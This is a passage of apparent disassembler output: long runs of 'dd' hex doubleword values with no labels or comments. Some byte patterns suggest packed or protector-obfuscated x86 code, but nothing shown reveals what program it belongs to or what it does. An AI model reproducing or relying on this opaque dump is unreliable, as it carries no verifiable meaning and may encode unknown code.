		dd 0A00CA123h, 0D646EF8Dh, 0A8CC6151h, 0FA7AAB05h, 4636D97Bh
		dd 8DEF0DAFh, 6E237FE0h, 286C812Eh, 9FF6D4E6h, 305CC544h
		dd 0CF66103Ah, 7C0E9994h, 0B5A8E605h, 6C8E5637h, 89097812h
		dd 8B2873A8h, 732DD119h, 73A87E3Eh, 103A9628h, 0E242D066h
		dd 57574AE4h, 402873A8h, 286B7F1h, 267C1073h, 314BEECAh
		dd 6E8B22BCh, 68D67F9Ah, 0B64470B8h, 0BE5C78C4h, 0C15460BCh
		dd 366F6BBBh, 0CF244AB1h, 35CB37B9h, 0A148ECE9h, 0E5700A51h
		dd 92E39C36h, 0F486AAC9h, 2C049A28h, 4DEF19C0h,	1A3D9933h
		dd 28008262h, 70A41CA5h, 4DC28C1Ah, 0E0000000h,	9D5A74Ah
		dd 0AAFAA84Dh, 38CED428h, 40E917E4h, 6A0B7184h,	30DBE7D9h
		dd 2E0784h, 4AA30000h, 9809D5A7h, 305CC53Dh, 40D77F09h
		dd 12DEE438h, 1EB74FEEh, 27BC8D67h, 0E1DB30D3h,	531153Ch
		dd 0FA1FBB77h, 1B5AF382h, 0E4000000h, 9D5A74Ah,	5CC51698h
		dd 40E9E330h, 710B7184h, 0DA99CDE4h, 46B227E0h,	0DC78CF7Bh
		dd 0E1E34339h, 41A9D365h, 841681ACh, 0B5C4020Dh, 0B2921037h
		dd 0FC8EF006h, 0C9B8BE50h, 2873C4C9h, 7BCB594Bh, 903C8169h
		dd 6D20FC7Eh, 0CEC355C2h, 2FCCB2C7h, 0CD89554Fh, 0C4F04C28h
		dd 0EEFB4B31h, 0D64DC1h, 4BB512B1h, 0A9AF50A2h,	255CF600h
		dd 208A9C65h, 993DF5AFh, 0CC680577h, 158C502Ah,	208A9BA5h
		dd 30871E88h, 9F1D7453h, 0F6A83D47h, 8CF03828h,	6B153BEDh
		dd 0A6B378CAh, 90328331h, 4CE0A04Ah, 632A982Eh,	60E56A03h
		dd 4447FEAAh, 535DDEECh, 93B930D4h, 4Bh, 0DD5A4B13h, 0A2A1B3F4h
		dd 2E27054h, 4FCDC480h,	0A6B321E3h, 9788331h, 305CC589h
		dd 78AB198Bh, 0C4F3B3EEh, 42D5305Ch, 0B4D8EA3Ah, 0AA402EEh
		dd 70CCAE42h, 4A048672h, 0E3A3DEA4h, 2D305CC4h,	7773E177h
		dd 5151DBh, 78F10000h, 0C4F3B3EEh, 0AAE7305Ch, 305CC4EAh
		dd 8E14782Ah, 0F56A8FA2h, 89097847h, 71305CC5h,	0C53C41D5h
		dd 0D340520Ah, 0BE74BC52h, 0CA78BA28h, 5AB5ED78h, 8F80280h
		dd 5BF31999h, 1BA9FB30h, 1D55FBDFh, 23A17DFFh, 0DC78DF8Dh
		dd 0E6FC403Ah, 4A37930Ah, 970ED6A0h, 305942C5h,	25EF8EA2h
		dd 6CC86517h, 5553B3C9h, 0EF276389h, 0A713DF6Dh, 411AEA92h
		dd 5779945h, 234FAB39h,	0D1AB4E7Ah, 0B4F4AD47h,	5C305843h
		dd 87E7EA46h, 1C7F07EEh, 7A135603h, 0EA82189Dh,	8300E8B1h
		dd 84352941h, 0B0C96EF6h, 0FDF18C1Ch, 8541D7F9h, 0F02D0577h
		dd 30h,	68ED78D2h, 0A4FA2D9Ch, 36C4F038h, 0A25F844h, 3F720B9Dh
		dd 1EE51C4Eh, 0B6EBFD35h, 37B4E963h, 0C08D5153h, 0ED698D2Ch
		dd 0D3C73349h, 0CB63F39h, 453BDC78h, 5CC54C4Ch,	48DEC430h
		dd 0C58AE9F4h, 7897969Fh, 80AA0EEAh, 2CA64F6h, 374D9113h
		dd 5C5A4242h, 18D0D230h, 75E671C4h, 5C5A7C3Ch, 970A9430h
		dd 305C5A17h, 8015ABF9h, 0A41BA912h, 56E076D1h,	0B597745Bh
		dd 2136A237h, 8824C95Fh, 0EF861062h, 61BC2EE9h,	0E539F191h
		dd 0E210DB3Ch, 33DA7EACh, 0D8332AC3h, 8363E131h, 2FEB7401h
		dd 0B15B7FBBh, 68822EC7h, 43E17C0Eh, 0AAD267FBh, 0ACBD485Ah
		dd 2E42AE80h, 58223490h, 0C152DD90h, 16BD0D0h, 176588A4h
		dd 0CBD9B5CFh, 93EEA335h, 23AB5A63h, 0B356EC81h, 328331A6h
		dd 0D6A04A90h, 5D276360h, 0B930D453h, 5493h, 0A14B1300h
		dd 0D1750FD7h, 0D3F1393Bh, 8331A6B3h, 0C5890978h, 2F8B305Ch
		dd 1BA975F7h, 0C4901081h, 2280305Ch, 0CA78DE8Ch, 13DDA44Ah
		dd 0D0840649h, 78520096h, 0FF47C5DCh, 19EB14E2h, 0C3519EC3h
		dd 0E642512Ah, 0E1493B59h, 43D67E08h, 51D3F139h, 3Ah, 38DC78F1h
		dd 3E3BF642h, 9783BA9h,	305CC589h, 78B92FBDh, 931986EDh
		dd 0DA7F8ACFh, 0B24042A2h, 78F26046h, 0C4F3B3EEh, 1E4305Ch
		dd 5D13164Ah, 0FD356F27h, 974537D9h, 0DC78DB77h, 0CCE8403Ah
		dd 0F6F04C2Eh, 79B1CB6Eh, 5942B688h, 0F099B330h, 0D9542634h
		dd 0CD1AB34Dh, 0E4852C1h, 0E157574Ah, 0EBB93057h, 0F686AB0Fh
		dd 0ED8FA22Eh, 0E86CA511h, 0EA68B814h, 0F495BF1Ah, 0B657B906h
		dd 0B9DDF72h, 0B6D55243h, 0BA8DC305h, 0AC31F98Fh, 352FAD17h
		dd 48C984h, 4A990000h, 0AA44D6A0h, 5CC4B7F7h, 0FD7F9130h
		dd 87F3A321h, 0D1750B75h, 0DDE73F3Dh, 0E904D915h, 3AB5EC7Eh
		dd 8237B594h, 0ED4537DAh, 4D09A301h, 7371CDAFh,	0CA6E6B87h
		dd 1B0BD323h, 0F33F4599h, 0B14B35C7h, 0B078FC15h, 0EE78952Dh
		dd 5CC4F3B3h, 0C7871D30h, 0ECF64ECEh, 0F87A9004h, 5109D76Eh
		dd 0C782B70Ch, 0F762376Bh, 10DBD660h, 8637B550h, 0B331911Ch
		dd 89F307A6h, 88AF2FB5h, 0CC862F0h, 65A793E9h, 0A04A9032h
		dd 779844D6h, 0A3B4AE02h, 0B341BFF7h, 2B995153h, 535D2763h
		dd 93B930D4h, 4Ah, 0C4DD7913h, 0C5515140h, 0E1C3335Ch
		dd 0C55A5A57h, 0E8BA335Ch, 0A6B38200h, 9788331h, 305CC589h
		dd 0F58F198Bh, 5CC4FCBCh, 0A28E1430h, 4ACA7860h, 7764DAA4h
		dd 6C2C65FFh, 6C305CC5h, 5250ACCEh, 3A886042h, 3751h, 0A6B3F100h
		dd 410DA731h, 0DBDBCEAEh, 35305CC4h, 7801836Fh,	5CC58909h
		dd 0B92FBD30h, 0CE57EE78h, 0CDCDC40Bh, 47305BF5h, 35A0C85Dh
		dd 4A4446B2h, 304AECA4h, 0DB772CA2h, 0ED6A04Ah,	5942C597h
		dd 0EF8EA230h, 0C8651725h, 50ACCE6Ch, 7305929Dh, 0EF3741EBh
		dd 168B1DD5h, 37B13AFFh, 0C014EAB7h, 0AB7BF928h, 758C8C19h
		dd 0E66EF88Eh, 0FCC12953h, 31A6B346h, 4A903283h, 7860D6A0h
		dd 0C4F3B3EEh, 40D5305Ch, 0BADAE834h, 5BD00E8h,	30D4535Dh
		dd 5093B9h, 0B3370000h,	788331A6h, 5CC58909h, 7FE77130h
		dd 0B3F3A626h, 5D305CC4h, 9A07EB47h, 9ECCA3Fh, 0A3D70ECEh
		dd 89C752EBh, 788F3DD3h, 0DAA44ACAh, 3ADC7864h,	0F8D8440h
		dd 6C45AD37h, 515140DAh, 0C3305CC5h, 51BB09E1h,	4Eh, 91E309D5h
		dd 0A6B36B59h, 183FA731h, 2A069C60h, 89097898h,	71305CC5h
		dd 0C4EAAAE7h, 782A305Ch, 0F74339DCh, 0B11DAF3Dh, 7C06DE9Eh
		dd 0EE7816B4h, 45755057h, 0C22E773Ch, 0DAA44AC0h, 38DC7864h
		dd 4B9BE174h, 495BAB39h, 26126A8Dh, 0A04A63CFh,	0C5970ED6h
		dd 0A2305942h, 0B1C468F4h, 92A734B2h, 220E9C6Dh, 47D51FBEh
		dd 0FE1CB835h, 42EDA07Ch, 1FA943D5h, 0F8C0C85h,	1E843058h
		dd 580F2B6Bh, 6C082D30h, 24821290h, 580F2D6Dh, 2FBDE730h
		dd 0E0CF02C3h, 0BDE737B0h, 0A6B39230h, 90328331h, 413BDC78h
		dd 0AF0BE7FDh, 637DF38Dh, 0D4535D27h, 6093B930h, 37000000h
		dd 7C35A6B3h, 305CC53Ch, 5DAC9D4h, 6FC5A56Fh, 78954BD9h
		dd 5CC58909h, 0BCD57130h, 12DEE438h, 8394306Eh,	0EA9F25F9h
		dd 305CC4AAh, 76D2A793h, 0A8AF6B8h, 601A3C98h, 0C270069Ch
		dd 0A44ACA78h, 0DC7864DAh, 0E1E34339h, 4E169009h, 7072D2ACh
		dd 0C0A6D5E5h, 2EE3664h, 1B5180h, 0B3F10000h, 788331A6h
		dd 5CC58909h, 0B92FBD30h, 4339DC78h, 4A43F1F7h,	7764DAA4h
		dd 0D6A04ADBh, 2FB8BB0Eh, 63E1319Dh, 19601197h,	337B5C3h
		dd 0CB34FB6Ah, 731ED6D6h, 0D1643E28h, 1E93A8FDh, 2873539Eh
		dd 529E2C76h, 522CC2AEh, 0D362F0F2h, 700A9D98h,	63108201h
		dd 10249030h, 7A089A6Ah, 720C2EAAh, 0BDBB51C3h,	4F12C620h
		dd 148508FBh, 2082E294h, 4C90267Ch, 56C617D5h, 11B85C6Dh
		dd 0FEFD48E5h, 97F18382h
		dd 0A3DD7F5Bh, 0EA94A612h, 1E9CF450h, 75009ED2h, 310C9339h
		dd 98E077AAh, 40A83E44h, 66BE3C54h, 63D87531h, 0BB4A3454h
		dd 49F01CD4h, 5F077D9Fh, 677DC1BBh, 16A27232h, 7200A2D3h
		dd 51FB63C3h, 0A3F3DF27h, 31C7DD21h, 3A3FDDF9h,	794B76C6h
		dd 0A9750B8Eh, 1A36h, 4EE06C00h, 3BD2D02Ch, 0EC22223Bh
		dd 0F8CA2639h, 583BD254h, 3C44CDA5h, 4AA81AD6h,	430FD7A1h
		dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h
		dd 636FB735h, 6753B3CDh, 5E55A9D3h, 81E18951h, 4C1h, 4E98300h
		dd 31240C33h, 0C33240Ch, 89575C24h, 4C781E7h, 83000000h
		dd 3C8704EFh, 2C895C24h, 0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0BD240C89h, 2E631AECh,	4172F581h, 0E5C15788h
		dd 6E5C102h, 0BA52DDF7h, 13542619h, 815AD531h, 4ECh, 24248900h
		dd 4240483h, 244D6859h,	2C890000h, 8418F24h, 53240C8Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 2C8B5C24h,	0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 2E78E95Ch, 0B81BFFF9h
		dd 7F04CAAh, 0E0FFC503h, 59FADA52h, 67F39976h, 133A7CA7h
		dd 11C34688h, 7331E637h, 45FAF987h, 4D7FD1BFh, 23107F69h
		dd 4A6973A7h, 422ECB05h, 24D23911h, 3ED56FA3h, 0FA00644h
		dd 696354D1h, 2FE7ABA7h, 470E73BDh, 630888D8h, 150EEB2Ah
		dd 3CE7ED9Ah, 1731FE39h, 4CE0DE9Ah, 3E531F6h, 711F762Dh
		dd 28FA9939h, 4E6B8D8Dh, 6A07F0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 57AB6DC3h, 0F4927204h
		dd 0ED958B82h, 8907E914h, 0E9320D8Dh, 0C7D38B07h, 0E922E585h
		dd 64CC07h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0DD8CDB4Eh, 0A62A4CEBh, 85C708BCh
		dd 7E922B1h, 0
		dd 9B8DBA66h, 1E05B5FFh, 0C38A07E9h, 0AE960h, 6E660000h
		dd 0BA19A9CEh, 72CA8E59h, 13880Fh, 0EE90000h, 2B000000h
		dd 5678761Dh, 0E7864B71h, 1C5BD5A1h, 95FF6168h,	7E92285h
		dd 6ADE8Bh, 0C3195FFh, 0C08B07E9h, 0BFD81DEBh, 6F906470h
		dd 667B1BD9h, 0B74EA44h, 0EC2F2C52h, 2D9410ACh,	0D93F155Fh
		dd 0E845C10Bh, 8, 39570609h, 0A5190ABDh, 0FB1BD89h, 805A07E9h
		dd 0C281BDDCh, 71A5h, 9848E981h, 0F62B6647h, 0BE9h, 6A6D1E00h
		dd 69CB23B4h, 3714A43Bh, 8B323C8Bh, 0E9255D9Dh,	0C7EF8107h
		dd 8B400868h, 0E924399Dh, 79C78107h, 57641757h,	45B50360h
		dd 0F07E921h, 83h, 81586100h, 43E2E6C7h, 5065B832h, 0F574978h
		dd 28Ah, 8FB1B300h, 0B9523204h,	5F863D72h, 40B96658h, 4EE830Fh
		dd 96D38166h, 0FE81F8h,	0FFFFF8Fh, 0FFFF9F85h, 13E9FFh
		dd 0AE820000h, 5CB4ADC9h, 8170C29Bh, 72AD47D4h,	12264681h
		dd 0F28D8DD1h, 8907F04Fh, 0E9320D8Dh, 0EB816007h, 5D0E1C4Dh
		dd 633FE181h, 0C7613995h, 0E922E585h, 641C07h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89C3C234h, 0E9139195h, 5F71BF07h, 85C776DBh,	7E922B1h
		dd 0
		dd 0CE9h, 24B3A700h, 84D0225Dh,	373A1D47h, 5DB5FFC9h, 6A07E924h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0D2A9C357h, 3034CAE0h, 0F959529h,	958907E9h
		dd 7E91E15h, 228595FFh,	7E907E9h, 0ED000000h, 0A2A05237h
		dd 8B66A0C4h, 0FF006ADEh, 0E90C3195h, 0EBC08B07h, 987D165Bh
		dd 0C5BB79D2h, 0B46C8967h, 45D1725Dh, 0A2AAC363h, 551A7776h
		dd 93FD6935h, 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 8E1FE852h
		dd 0B6B44FF0h, 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h
		dd 0B4D94EDFh, 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h
		dd 281B98DCh, 0C641AD04h, 50C18D8Dh, 0BD8907F0h, 7E90755h
		dd 320D8D89h, 850907E9h, 7E91331h, 22E585C7h, 6BDC07E9h
		dd 0CC800000h, 0B185C730h, 7E922h, 1000000h, 0E91FFD85h
		dd 89B5FF07h, 6A07E91Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 373EC355h, 9C7E7AEDh
		dd 228595FFh, 0CB8107E9h, 3BED3B55h, 95FF006Ah,	7E90C31h
		dd 48EBC08Bh, 18204A22h, 5DC465EDh, 7AD2AB82h, 0ADF433CDh
		dd 32ABA2F1h, 1753FB38h, 57CBF1F4h, 0E4830A4h, 0F66D92D5h
		dd 980B8ADEh, 2A442620h, 5D012DCEh, 0DFE0AD7Dh,	0D45533BCh
		dd 0C25428CBh, 9CDD2FA3h, 49069375h, 0F7E0D5E4h, 5E8h
		dd 0A70A2B00h, 5BF97DACh, 0C381D0B2h, 640Fh, 0B4DBD89h
		dd 6807E9h, 66000000h, 0F55FC28Bh, 893B348Bh, 0E91B5D9Dh
		dd 4EC68107h, 80570B1Eh, 0F68105EAh, 4ADCACCFh,	0EE951h
		dd 4D2B0000h, 8C478D29h, 3B71A669h, 0C1284E6Ch,	50C6815Ah
		dd 53671816h, 0FE9h, 75BA8D00h,	33670FC1h, 0D675F196h
		dd 0B40441FBh, 0B531565Ah, 7E90EF5h, 0E83B048Fh, 0Bh, 31281E1Bh
		dd 11A7459Dh, 66EAB36Dh, 8058D68Bh, 0EF83D9C8h,	4F4FF902h
		dd 4769BA66h, 9CC4FF81h, 850FFFFFh, 0Fh, 0E9C38B66h, 30h
		dd 0D1AEDA10h, 0FBB43E9h, 0D8Dh, 7BB96000h, 8B56FC74h
		dd 0E92FC995h, 59E96107h, 7AFFFFFFh, 6967E5E7h,	88AE33FFh
		dd 0A0E556C4h, 56E8D37Fh, 52D18D8Dh, 0E86007F0h, 0Fh, 881E7B33h
		dd 96673CD4h, 0AE2D7DDDh, 66FC2A62h, 5FB9FABEh,	158DBD33h
		dd 8B6107E9h, 0E90119BDh, 0D8D8907h, 6A07E932h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0C91DC353h, 0E80DCCB2h, 13h,	5693C59Fh, 9895E7AAh, 0AF677B7Ah
		dd 30F16BEEh, 580D58BFh, 13D858Bh, 85C707E9h, 7E922E5h
		dd 6AB0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0EEC35141h, 0C7663CC5h,	0E922B185h, 7, 5858B00h
		dd 0FF07E921h, 0E9245DB5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 854E5384h
		dd 0F893A573h, 9676BB66h, 228595FFh, 0D68B07E9h, 95FF006Ah
		dd 7E90C31h, 5BEBC08Bh,	2E683A6h, 4B13F658h, 931CD428h
		dd 5958FB5Fh, 0E955E61Ch, 512A09EFh, 0E0BA5623h, 0A4109C62h
		dd 0D28DA20Bh, 0ED49311Ch, 2018FD0Ch, 0B6D40AA6h, 324B2D08h
		dd 65116F18h, 70088330h, 44E0CCB7h, 7890773Ch, 153688A0h
		dd 0C546EE50h, 5151E804h, 7FFDDF8h, 9C8324C9h, 0E9B9F323h
		dd 2Bh,	18F9CE28h, 9 dup(0)
		dd 0E9000000h, 4F3h, 0C06D0F2Ch, 3BBAC054h, 68057799h
		dd 0DF56D4CCh, 119CD87Dh, 1F329E9Bh, 2D64D05Dh,	85AA06AFh
		dd 3CDE7AFBh, 0D0CAB342h, 6C71E1A1h, 0AB193328h, 0ED6A04Ah
		dd 20CDAF42h, 85071EC6h, 91E309ADh, 86AB334Dh, 7C9E3AF6h
		dd 82962202h, 82A824F8h, 1F922CF0h, 305CC49Fh, 7BAB3371h
		dd 2E5625F9h, 46EA738Fh, 0ADCF6DA7h, 0F9839400h, 4537D874h
		dd 0D11AB3h, 0EDCD7D46h, 6EB6C669h, 74409C54h, 0A6E69B1Dh
		dd 6E305C25h, 725EA634h, 7743A3DDh, 44419D1Fh, 0F12C603Bh
		dd 708441A1h, 87F91FC9h, 6F0E0EF1h, 4BEA92A5h, 0ED3143E9h
		dd 5C4B9934h, 0FD9C7030h, 3159E4DCh, 490284h, 4AA00000h
		dd 970ED6A0h, 305CC515h, 825FFE12h, 8430E042h, 1BCh, 0A64A0600h
		dd 0A84C08D4h, 4E4672D2h, 83923ACCh, 4BA73D01h,	0F796BA17h
		dd 2FF760Fh, 9E088CD4h,	0A8D26652h, 1D0C9905h, 38B31A9Bh
		dd 0D2F8B67h, 4A40C273h, 0E775D1A7h, 0C4A4E495h, 366C305Ch
		dd 27FF8196h, 9B370F9Dh, 0EB730577h, 0D5EF3741h, 0A0AC11Dh
		dd 0B6FA9363h, 85BF9B8Ch, 30C6465Fh, 7539DCF8h,	3D479F1Dh
		dd 9FB11DAFh, 0B78301DDh, 0C421BC2Ah, 5E1A4913h, 46D4C028h
		dd 4AECE834h, 0AD3D7D34h, 0CDD7305Ch, 4BF7E73Fh, 0F27F71A2h
		dd 57FF8430h, 0CB000000h, 4CE3A74Ah, 0A469E2Ch,	0F4A9AE4h
		dd 6D8044E5h, 27CA660Fh, 0D5CD8955h, 33DF8F57h,	0DA67498Ah
		dd 6A878430h, 23000000h, 0CFD2A74Ah, 7EA1CCA1h,	0F9BCFCB5h
		dd 4E54305Bh, 86041CB8h, 8FA02CF0h, 90A511EDh, 9EBC18E4h
		dd 736500DCh, 5B7D28CAh, 99E376B2h, 0A64AAE14h,	8B9A42D4h
		dd 75993509h, 17A53F07h, 9FD98A86h, 0E04863C6h,	4BFAD54Ch
		dd 0A1F0305Ch, 65F7C323h, 1C40CB1Bh, 0D7A14B7Dh, 46E7750Fh
		dd 0F6CE0BB2h, 70843158h, 1, 0DAA44A52h, 0D2AC4E0Ah, 52FB1D72h
		dd 651738A4h, 7507298Dh, 1D8AA5F8h, 0AD1B168Bh,	8D1B37B5h
		dd 0F353D1C1h, 0AE0080F1h, 92102873h, 3EA620FCh, 69C601Ah
		dd 126C8E2Ah, 0F3B3EE78h, 1D2873ADh, 6DE9EB1h, 0BF02EE7Ch
		dd 0A17DFF1Dh, 73ADBEC0h, 0A23B4B28h, 0B44539F0h, 0AFEFA20Eh
		dd 612872F4h, 1945AD43h, 0D4A6B470h, 235DFF59h,	1B65F7C3h
		dd 12968FCBh, 72F51F9Fh, 1DB3F128h, 2F63F5C1h, 1FE775F7h
		dd 3FF9EB2h, 45B158A4h,	0F4B6F6ABh, 725E2872h, 465CA022h
		dd 740614B0h, 0FADE1AA8h, 3A8F2650h, 8C1AAFCAh,	10424h
		dd 0DC78BE00h, 37EA46C4h, 6819B324h, 37B59A29h,	116B8DE9h
		dd 0DD21B7CDh, 387829C3h, 0D828739Ah, 0A04A6ECAh, 5FFD5FD6h
		dd 67F5C11Dh, 36DB8315h, 0E5B6EA46h, 2436F29Bh,	966EDB5Ah
		dd 0D08C1A0Bh, 47h, 2DBAB3F2h, 1090019Bh, 305CC5h, 215056A2h
		dd 0B05CC581h, 68B21693h, 0D61E5CC7h, 49AE476h,	0E9494938h
		dd 0ED03B05Bh, 0F307B393h, 0F418B589h, 0C6EEA555h, 84031427h
		dd 0E91FBFF2h, 0B3F1305Bh, 7B8D02h, 78D50000h, 0E8403ADCh
		dd 1BAD3A35h, 4A32C581h, 93E41FEEh, 0D0D237B5h,	0C8AA400Ch
		dd 722FB925h, 28739332h, 4C68C0E2h, 9170CCAEh, 28739234h
		dd 984CEDE7h, 3A6D0072h, 631EA83Fh, 30643F8Dh, 5DF78123h
		dd 833F6424h, 3AF6AC20h, 3640EAE6h, 0F697B9EEh,	34B828CBh
		dd 0D03F192Bh, 28C557E5h, 0B71C650Bh, 914A6070h, 41F43743h
		dd 306147B3h, 28740CDAh, 923ACCD6h, 0AB36027Ch,	37A0B31Fh
		dd 7216ECA5h, 89A384Dh,	3943D67Eh, 0DF13DFE5h, 0B31B59F3h
		dd 8002E262h, 6C709111h, 93218328h, 35D884E2h, 2DCFEB47h
		dd 0E012F353h, 52761D9h, 7C9E4AF3h, 48EC6802h, 18D0D232h
		dd 67113B95h, 61E3339Fh, 8BD43ED7h, 5D8ED741h, 5C265995h
		dd 0D622A0F0h, 2BC103AAh, 7854544Dh, 0E6BC0963h, 0D973DD50h
		dd 0AF39479Fh, 6377B2F2h, 0A9E99809h, 6B096377h, 0BE4F5539h
		dd 0DF07C012h, 0A619D1B4h, 8, 0AD254F8h, 685A96E0h, 0FD7A14Ah
		dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah
		dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 0E189515Eh,	4C181h
		dd 0E9830000h, 74FF5104h, 8F590424h, 685C2404h,	37C8h
		dd 53243C89h, 0C381E389h, 4, 4EB81h, 1C870000h,	2C895C24h
		dd 66BA5224h, 5007F053h, 0C789D089h, 2F685A58h,	89000028h
		dd 4832424h, 815D0424h,	4ECh, 243C8900h, 8B08458Fh, 8956242Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 243C8B5Ch, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF92372h, 772531C0h
		dd 0B81FD003h, 7F057C7h, 0E0FFC503h, 38D7C9BFh,	43A56771h
		dd 40E19E72h, 53B3327Dh, 415CCC5Ch, 784F3FF2h, 0E0E9h
		dd 0BDC87600h, 459CD714h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h
		dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h
		dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh
		dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h
		dd 97B3EDh, 43F1B6D0h, 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 0Ah dup(0)
		dd 1466E900h, 24680000h, 0E907F05Bh, 0FFF92256h, 0F05C1F68h
		dd 224CE907h, 968FFF9h,	0E907F05Dh, 0FFF92242h,	0F05E2168h
		dd 2238E907h, 9E68FFF9h, 0E907F05Eh, 0FFF9222Eh, 0F05F4668h
		dd 2224E907h, 0E068FFF9h, 0E907F05Fh, 0FFF9221Ah, 0F0608868h
		dd 2210E907h, 2568FFF9h, 0E907F061h, 0FFF92206h, 0F0628A68h
		dd 21FCE907h, 6A68FFF9h, 0E907F063h, 0FFF921F2h, 0F064C568h
		dd 21E8E907h, 0C368FFF9h, 0E907F065h, 0FFF921DEh, 0F0674968h
		dd 21D4E907h, 6168FFF9h, 0E907F068h, 0FFF921CAh, 0F06A1168h
		dd 21C0E907h, 0D68FFF9h, 0E907F06Bh, 0FFF921B6h, 28C5B744h
		dd 6312688Ch, 0D05D1F31h, 7AE2C64h, 79F48095h, 0C76A46E3h
		dd 859C38B5h, 2DC26E07h, 0E476A253h, 28721B9Ah,	6C6B3979h
		dd 0C3A1DB28h, 46C4DC78h, 0A80CE4FEh, 0A02CF082h, 0D945E88Ah
		dd 42A2DA7Dh, 0C54D4D44h, 0DDC7305Ch, 23CEE34Fh, 0FE8822B4h
		dd 5CC50383h, 5B970D30h, 0B5ABCBAAh, 5D9CB37h, 3C3CD37Bh
		dd 0ABB915F4h, 0A3AF2873h, 0BF50FCFAh, 6E5675BDh, 0C38C19F5h
		dd 0AE8A0A1Bh, 2873h, 0A0B35700h, 0EDECA537h, 0A537B5AAh
		dd 0C05626C9h, 0AA29857Ch, 33DF2873h, 4FE06C8Ah, 0FEC6C52Dh
		dd 788C19FAh, 0C3h, 0D6A04A4Ah,	0CDAF420Eh, 0C5B74571h
		dd 0BDBF5D79h, 0C0675130h, 0CF6D305Ch, 3EA600ADh, 0A0DB62E7h
		dd 0FF1917D8h, 7158169h, 59D4A975h, 72453CCEh, 0C037B4C2h
		dd 1D1853E2h, 0B381F08Ah, 0D92FC6E9h, 809531CBh, 0C250D2C2h
		dd 6819B333h, 2086EA28h, 5A7EBAE8h, 0D0D0C1B7h,	402086E9h
		dd 7125CC62h, 13C3512h,	11F89ACDh, 0CD6E0000h, 829602B3h
		dd 35DB75F8h, 160EAA4Bh, 9ABF1994h, 5CDD53E2h, 12A3D97Ch
		dd 40ED6FA6h, 0B43943D4h, 0ED80F218h, 23631E88h, 0ED286C6Ah
		dd 0EE78E9DFh, 5CC4F3B3h, 0AB871D30h, 91A4EA0Fh, 0FB891BEBh
		dd 423CDE7Ah, 5A0E2CA8h, 6F75C94Bh, 0A34905D9h,	0E1770DD1h
		dd 0B33E8409h, 8A537A0h, 0A9D84ED2h, 305C39E9h,	0A5EC792Bh
		dd 3CD175E8h, 0BBF6F038h, 37B5A93Ch, 0EAF4485Ah, 6DB13362h
		dd 0CCCCC557h, 442873A8h, 0D7F3925Eh, 8D2873A8h, 0C93BD881h
		dd 258C19FBh, 0A1h, 0D6A04ABDh,	6341A944h, 0EF945FD4h
		dd 4EE3EF03h, 852FD62Eh, 43305C52h, 8A26CFA9h, 7BCE1660h
		dd 0A4DD6FF8h, 37B54011h, 0A12373DBh, 76FFA549h, 15A73023h
		dd 0B406E27Bh, 2C02220Bh, 146E05C4h, 27BE2FC7h,	0AFD0445Dh
		dd 0E78B6762h, 8EA32BBDh, 40D547EEh, 0B597BD34h, 0BFB73C35h
		dd 10FD08h, 0B6C65500h,	3799D3Fh, 4E30C672h, 9F1D75A7h
		dd 0E597BA16h, 7B57D048h, 0AD0FA6D6h, 0D37DF074h, 7B13C3Ch
		dd 85EA8BF5h, 69286819h, 0D2E8286Ch, 0D5A74AECh, 0E06CE58h
		dd 0C632B08Ch, 0B73E38D2h, 0D6A04A13h, 0CEA8420Eh, 1963F527h
		dd 116389C5h, 0B45A029Ch, 80687ACAh, 379F6261h,	0FE845820h
		dd 7FC7B95Eh, 45D08D65h, 964938D2h, 1C37B59Fh, 0C468F486h
		dd 0F0546EB6h, 0C1C323A1h, 0F9930D69h, 0D1C0445Dh, 28739ED1h
		dd 0F8896143h, 0FFE96DDDh, 3968C964h, 0CC596BBBh, 3EC1B6Bh
		dd 0EB7D131Bh, 420307B6h, 0A9752F38h, 3CCE59D4h, 54630C45h
		dd 5DF05C30h, 0FBEE8E1Fh, 412577EBh, 0D9F05E9h,	459F5070h
		dd 0CD89159Bh, 0F3F14D2Fh, 1725A107h, 0F65EC865h, 77F52C64h
		dd 0AB871DE1h, 0E693ED0Fh, 3CA90E04h, 13A718D4h, 43000010h
		dd 8B25C8A8h, 3C981567h, 63CD601Ah, 903CB133h, 0E676FF7Dh
		dd 0B8BC5141h, 0A8A9B35h, 5626C96Bh, 9DDF7DDFh,	7E336F10h
		dd 286C683Eh, 4AC6A4D6h, 700ED6A0h, 0EE0C40D4h,	9C26FE8Ch
